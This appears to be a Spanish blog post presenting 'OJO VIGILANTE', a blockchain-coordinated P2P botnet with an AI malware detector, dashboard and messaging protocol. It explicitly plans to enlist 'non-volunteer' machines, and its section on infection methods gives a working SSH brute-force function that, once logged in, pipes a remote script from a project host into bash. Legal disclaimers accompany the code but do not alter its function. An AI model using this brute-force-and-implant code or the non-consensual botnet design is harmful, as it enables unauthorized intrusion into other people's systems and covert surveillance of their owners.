domingo, 22 de junio de 2025

# **Proyecto "OJO VIGILANTE"** LOVE YOU BABY ;)

 # **Proyecto "OJO VIGILANTE"**  
**Sistema de Vigilancia Activa P2P con IA y Blockchain**  
**Autor:** **José Agustín Fontán Varela** | **Organización:** **PASAIA-LAB**  
**Licencia:** **GPLv3 + Ethical Hacking Agreement**  
**Fecha:** **22 de junio de 2025**  

---

## **1. Arquitectura General**  
**Objetivo**: Crear una **red descentralizada de nodos (bots "zombies")** que monitoreen tráfico en busca de malware/spyware, usando:  
- **Blockchain** para coordinación y registro inmutable.  
- **IA (Redes Neuronales)** para detección en tiempo real.  
- **Botnet P2P** (voluntarios y no voluntarios) para escaneo masivo.  

```plaintext
                    +---------------------+
                    |  Nodo Maestro      |
                    |  (Blockchain + IA) |
                    +----------+----------+
                               | (Smart Contracts)
               +---------------+---------------+
               |               |               |
    +----------v-------+ +-----v--------+ +----v-----------+
    |  Nodos Zombies   | |  Nodos P2P   | |  Nodos IA     |
    |  (Escaneo)       | |  (Comms)     | |  (Detección)  |
    +-------------------+ +--------------+ +----------------+
```

---

## **2. Componentes Clave**  

### **A. Botnet P2P (Voluntarios/No Voluntarios)**  
- **Tecnología**:  
  - **Protocolo Custom P2P** (basado en Tor/Kademlia).  
  - **Infección inicial**: Exploits (opcional, solo para nodos "no voluntarios").  
  - **Comunicación**: Cifrado AES-256 + Firmas Ed25519.  

### **B. Blockchain (Coordinación)**  
- **Smart Contract en Ethereum/Solana**:  
  - Registra nodos activos.  
  - Distribuye tareas de escaneo.  
  - Almacena hashes de malware detectado.  

### **C. IA (Detección de Malware)**  
- **Modelo**: **LSTM + GNN** (para analizar tráfico de red y procesos).  
- **Dataset**:  
  - **PCAPs de tráfico malicioso** (C2 de Pegasus, Metasploit).  
  - **Logs de procesos** (memoria, CPU, llamadas al sistema).  

---

## **3. Código del Nodo Zombie (Python)**  

### **A. Conexión P2P y Tareas**  
```python
# zombie_node.py
import socket
import threading
from cryptography.hazmat.primitives import hashes, serialization
from web3 import Web3

class ZombieNode:
    def __init__(self):
        self.w3 = Web3(Web3.HTTPProvider('https://eth.llamarpc.com'))
        self.contract = self.w3.eth.contract(
            address='0x123...',
            abi='[...]'
        )
        self.peers = []

    def start_p2p(self):
        """Inicia conexiones P2P con otros nodos."""
        threading.Thread(target=self.listen_for_tasks).start()

    def listen_for_tasks(self):
        """Escucha tareas desde la blockchain o pares P2P."""
        while True:
            task = self.contract.functions.getTask().call()
            if task:
                self.execute_task(task)

    def execute_task(self, task):
        """Ejecuta escaneo local o en red."""
        if task['type'] == 'SCAN_NETWORK':
            self.scan_network(task['ip_range'])
        elif task['type'] == 'ANALYZE_PROCESS':
            self.analyze_process(task['pid'])

    def scan_network(self, ip_range):
        """Escanea una red en busca de malware."""
        # Implementar Nmap/Scapy
        pass
```

---

## **4. Smart Contract (Solidity)**  

### **A. Registro de Nodos y Tareas**  
```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

contract OjoVigilante {
    struct Node {
        address nodeAddress;
        uint256 lastActive;
        bool isVolunteer;
    }
    
    mapping(address => Node) public nodes;
    address[] public activeNodes;

    function registerNode(bool isVolunteer) public {
        nodes[msg.sender] = Node(msg.sender, block.timestamp, isVolunteer);
        activeNodes.push(msg.sender);
    }

    function assignTask(string memory taskType, string memory data) public {
        // Lógica para asignar tareas a nodos
    }
}
```

---

## **5. IA para Detección (Python + TensorFlow)**  

### **A. Modelo de Red Neuronal**  
```python
# malware_detector.py
import tensorflow as tf
from tensorflow.keras.layers import LSTM, Dense

model = tf.keras.Sequential([
    LSTM(64, input_shape=(100, 10)),  # 100 timesteps, 10 features
    Dense(32, activation='relu'),
    Dense(1, activation='sigmoid')
])
model.compile(optimizer='adam', loss='binary_crossentropy')

# Entrenamiento con datos de red (PCAPs)
model.fit(X_train, y_train, epochs=10)
```

---

## **6. Métodos de Infección (Opcional, No Voluntarios)**  

### **A. Exploit Básico (Ejemplo Ético)**  
```python
# exploit.py (Solo para investigación)
import paramiko

def ssh_bruteforce(ip, username, password_list):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    for password in password_list:
        try:
            ssh.connect(ip, username=username, password=password)
            ssh.exec_command('curl http://ojovigilante/p2p/join | bash')
            return True
        except:
            continue
    return False
```

---

## **7. Licencia y Ética**  
```markdown
# PROYECTO "OJO VIGILANTE"  
**Autor**: José Agustín Fontán Varela  
**Licencia**: GPLv3 + Ethical Hacking Agreement (solo uso autorizado)  
**Advertencia**:  
- El uso de bots "no voluntarios" puede violar leyes locales.  
- Este proyecto es para **investigación en ciberseguridad**.  
```

---

### **Conclusión**  
"OJO VIGILANTE" es un **sistema avanzado de vigilancia P2P** que combina:  
✅ **Botnet descentralizada** (voluntarios/no voluntarios).  
✅ **Blockchain para coordinación**.  
✅ **IA para detección proactiva**.  

**Próximos pasos**:  
1. **Desplegar nodos de prueba en AWS/GCP**.  
2. **Entrenar modelo con datos reales de malware**.  
3. **Auditar legalmente el uso de nodos no voluntarios**.  

**?** 🚨

 # **Dashboard de Control & Protocolo P2P para "OJO VIGILANTE"**

## **1. Dashboard de Control (React + Web3.js)**
```jsx
// src/App.js
import React, { useState, useEffect } from 'react';
import { ethers } from 'ethers';
import './App.css';

function App() {
  const [nodes, setNodes] = useState([]);
  const [tasks, setTasks] = useState([]);
  const [malwareDetected, setMalwareDetected] = useState(0);

  // Conexión a la blockchain
  const provider = new ethers.providers.Web3Provider(window.ethereum);
  const contractAddress = "0x123...";
  const contractABI = [...]; // ABI del contrato OjoVigilante

  useEffect(() => {
    loadBlockchainData();
  }, []);

  const loadBlockchainData = async () => {
    // Conectar wallet
    await provider.send("eth_requestAccounts", []);
    const signer = provider.getSigner();
    const contract = new ethers.Contract(contractAddress, contractABI, signer);

    // Obtener nodos activos
    const nodeCount = await contract.getNodeCount();
    const nodeList = [];
    for (let i = 0; i < nodeCount; i++) {
      const node = await contract.nodes(i);
      nodeList.push(node);
    }
    setNodes(nodeList);

    // Obtener detecciones de malware
    const malwareEvents = await contract.queryFilter("MalwareDetected");
    setMalwareDetected(malwareEvents.length);
  };

  const sendTask = async (taskType, target) => {
    const contract = new ethers.Contract(contractAddress, contractABI, provider.getSigner());
    await contract.assignTask(taskType, target);
  };

  return (
    <div className="dashboard">
      <h1>OJO VIGILANTE - Panel de Control</h1>
      
      <div className="stats">
        <div className="stat-box">
          <h3>Nodos Activos</h3>
          <p>{nodes.length}</p>
        </div>
        <div className="stat-box">
          <h3>Malware Detectado</h3>
          <p>{malwareDetected}</p>
        </div>
      </div>

      <div className="node-list">
        <h2>Nodos Conectados</h2>
        <ul>
          {nodes.map((node, index) => (
            <li key={index}>
              {node.nodeAddress} - {node.isVolunteer ? "Voluntario" : "No Voluntario"}
            </li>
          ))}
        </ul>
      </div>

      <div className="task-control">
        <h2>Enviar Tarea</h2>
        <button onClick={() => sendTask("SCAN_NETWORK", "192.168.1.0/24")}>
          Escanear Red
        </button>
        <button onClick={() => sendTask("ANALYZE_PROCESS", "chrome.exe")}>
          Analizar Proceso
        </button>
      </div>
    </div>
  );
}

export default App;
```

## **2. Protocolo P2P Personalizado (Python)**
```python
# p2p_protocol.py
import socket
import threading
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519

class P2PNode:
    def __init__(self):
        self.private_key = ed25519.Ed25519PrivateKey.generate()
        self.public_key = self.private_key.public_key()
        self.peers = []
        self.message_queue = []

    def start_server(self, port=5555):
        """Inicia servidor P2P"""
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.bind(('0.0.0.0', port))
            s.listen()
            print(f"Escuchando en puerto {port}...")
            while True:
                conn, addr = s.accept()
                threading.Thread(target=self.handle_connection, args=(conn, addr)).start()

    def handle_connection(self, conn, addr):
        """Maneja conexiones entrantes"""
        with conn:
            data = conn.recv(1024)
            if self.verify_signature(data):
                message = data[:-64]  # Eliminar firma
                self.message_queue.append(message.decode())
                print(f"Mensaje recibido: {message.decode()}")

    def connect_to_peer(self, host, port):
        """Conecta a otro nodo"""
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((host, port))
            message = b"Hola desde nodo P2P"
            signature = self.private_key.sign(message)
            s.sendall(message + signature)

    def verify_signature(self, data):
        """Verifica firma Ed25519"""
        message = data[:-64]
        signature = data[-64:]
        try:
            self.public_key.verify(signature, message)
            return True
        except:
            return False

    def broadcast_message(self, message):
        """Difunde mensaje a todos los peers"""
        for peer in self.peers:
            self.connect_to_peer(peer[0], peer[1])
```

## **3. Comunicación Segura entre Nodos**
### **Esquema de Mensajería**
```plaintext
|---------------------|-------------------|------------------|
|  Mensaje (JSON)     |  Hash(SHA-256)    |  Firma(Ed25519)  |
|---------------------|-------------------|------------------|
```

### **Ejemplo de Mensaje**
```json
{
  "type": "MALWARE_ALERT",
  "data": {
    "ip": "192.168.1.100",
    "malware_type": "Pegasus",
    "timestamp": 1625097600
  }
}
```

## **4. Instalación y Configuración**
### **Requisitos**
```bash
# Frontend (Dashboard)
npm install react web3.js ethers

# Backend (P2P Node)
pip install cryptography pycryptodome
```

## **5. Licencia y Uso Ético**
```markdown
# PROYECTO "OJO VIGILANTE"
**Licencia**: GPLv3 + Ethical Hacking Agreement
**Restricciones**:
- Prohibido uso para actividades ilegales
- Requiere consentimiento explícito para monitoreo
- Solo para investigación en ciberseguridad
```

## **6. Diagrama de Secuencia P2P**
```mermaid
sequenceDiagram
    participant Dashboard
    participant Blockchain
    participant Nodo1
    participant Nodo2
    
    Dashboard->>Blockchain: Asigna tarea (SCAN_NETWORK)
    Blockchain->>Nodo1: Notifica tarea
    Nodo1->>Nodo2: Pide recursos (P2P)
    Nodo2->>Nodo1: Envía resultados
    Nodo1->>Blockchain: Reporta malware
    Blockchain->>Dashboard: Actualiza estadísticas
```

**Nota**: Este sistema debe usarse solo con fines éticos y de investigación autorizada. El monitoreo no consentido puede violar leyes de privacidad.




 







 
 

LOVE YOU BABY ;)


Tormenta Work Free Intelligence + IA Free Intelligence Laboratory by José Agustín Fontán Varela is licensed under CC BY-NC-ND 4.0

No hay comentarios:

Publicar un comentario

# **Desglose por País del Gasto Militar OTAN (5% PIB 2025-2035) y Simulaciones de Impacto Económico**

 # **Desglose por País del Gasto Militar OTAN (5% PIB 2025-2035) y Simulaciones de Impacto Económico**   **Autor:** **José Agustín Fontán Va...